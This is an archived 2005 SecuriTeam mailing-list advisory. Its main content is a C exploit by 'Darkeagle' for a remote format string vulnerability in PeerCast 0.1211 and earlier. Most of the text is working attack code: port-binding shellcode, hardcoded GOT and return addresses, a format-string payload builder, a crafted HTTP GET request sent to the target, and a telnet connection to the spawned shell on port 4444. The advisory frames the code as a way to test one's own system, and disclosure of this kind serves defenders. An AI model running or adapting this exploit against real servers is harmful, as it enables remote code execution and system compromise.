

[EXPL] PeerCast Remote Format String (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0087.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/22/05

To: list@securiteam.com

Date: 22 Jun 2005 10:55:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PeerCast Remote Format String (Exploit)

SUMMARY

<<http://www.peercast.org/>> PeerCast is a popular p2p streaming media server (similar to shoutcast) – "PeerCast is a new, free way to listen to radio and watch video on the Internet. It uses P2P technology to let anyone become a broadcaster without the costs of traditional streaming. This means you get to hear and watch stations not normally found on commercially funded sites."

PeerCast is vulnerable to format string vulnerability, attackers exploiting this vulnerability can cause the server to execute arbitrary code, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* PeerCast versions 0.1211 and prior

Exploit:

/*

\ PeerCast <= 0.1211 remote format string exploit

/ [<< Public Release >>]

Securiteam: [EXPL] PeerCast Remote Format String (Exploit)

```
\
/ by Darkeagle [ darkeagle [at] linkin-park [dot] cc ]
\
/ uKt researcherz [ http://unl0ck.org ]
\
/ greetz goes to: uKt researcherz.
\
/
\ - smallest code - better code!!!
/
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
```

```
//*****
```

```
#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr) & 0xff; \
}
```

```
//*****
```

```
//*****
```

```
char shellcode[] = // binds 4444 port
"\x31\xc9\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85"
"\x4f\xca\xdf\x83\xeb\xfc\xe2\xf4\xb4\x94\x99\x9c\xd6\x25\xc8\xb5"
"\xe3\x17\x53\x56\x64\x82\x4a\x49\xc6\x1d\xac\xb7\x94\x13\xac\x8c"
"\x0c\xae\xa0\xb9\xdd\x1f\x9b\x89\x0c\xae\x07\x5f\x35\x29\x1b\x3c"
"\x48\xcf\x98\x8d\xd3\x0c\x43\x3e\x35\x29\x07\x5f\x16\x25\xc8\x86"
"\x35\x70\x07\x5f\xcc\x36\x33\x6f\x8e\x1d\xa2\xf0\xaa\x3c\xa2\xb7"
"\xaa\x2d\xa3\xb1\x0c\xac\x98\x8c\x0c\xae\x07\x5f";
```

```
//*****
```

```
//*****
```

```
#define HOST "127.0.0.1"
#define PORT 7144
#define GOTADDR 0x0809da9c
#define SHELLADDR 0x49adb23c
```

```
//*****
```

Securiteam: [EXPL] PeerCast Remote Format String (Exploit)

```
/**
char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int
base, long figure )
{
char * buf;
unsigned char b0, b1, b2, b3;
int start = 256;

doit( b0, b1, b2, b3, retaddr );
buf = (char *)malloc(999);
memset( buf, 0, 999 );

b3 -= figure;
b2 -= figure;
b1 -= figure;
b0 -= figure;

sprintf( buf, 999,
"%%%dx%%d$n%%dx%%d$n%%dx%%d$n%%dx%%d$n",
b3 - 16 + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );

return buf;
}
/**

/**
int
main( int argc, char * argv[] )
{
struct sockaddr_in addr;
int sock;
char * fmt;
char endian[31337], da_shell[31337];
unsigned long locaddr, retaddr;
unsigned int offset, base;
unsigned char b0, b1, b2, b3;

system("clear");
printf("^^^ PeerCast <= 0.1211 remote format string exploit ^^^\n");
printf("^^^ by Darkeagle ^^^\n");
printf("^^^ uKt researcherz [ http://unl0ck.org ] ^^^\n");

memset( endian, 0x00, 31337 );
memset( da_shell, 0x00, 31337 );

addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
```

Securiteam: [EXPL] PeerCast Remote Format String (Exploit)

```
addr.sin_addr.s_addr = inet_addr(HOST);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

locaddr = GOTADDR;
retaddr = SHELLADDR;
offset = 1265; // GET /html/en/index.htmlAAA%1265$x and you will get
AAAA41414141

doit( b0, b1, b2, b3, locaddr );

base = 4;
printf("[*] Buildin' evil code\n");
strcat(endian, "GET /html/en/index.html");
sprintf( endian+strlen(endian), sizeof(endian),
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = evil_builder( retaddr, offset, base, 0x10 );

memset(fmt+strlen(fmt), 0x55, 32);
strcat(fmt, shellcode);
strcat(endian, fmt);
strcat(endian, "\r\n\r\n\r\n");
printf("[+] Buildin' complete!\n");
sprintf(da_shell, "telnet %s 4444", HOST);

// just go, y0!
printf("[*] Connectin'\n");
if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) ) { printf("[-]
Connection failed!\n\n");
exit(0); }

printf("[+] Connected!\n");
printf("[*] Sleepin'\n");
sleep(1);

printf("[*] Sendin'\n");
send(sock, endian, strlen(endian), 0);

printf("[*] Sleepin'\n");
sleep(1);

printf("[*] Connectin' in da shell\n\n");
sleep(1);
```

Securiteam: [EXPL] PeerCast Remote Format String (Exploit)

```
system(da_shell);  
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:darkeagle@linkin-park.cc>
Darkeagle.

Relevant article can be found at:

<<http://www.securiteam.com/securitynews/5KPOU0AFOA.html>>

<http://www.securiteam.com/securitynews/5KPOU0AFOA.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.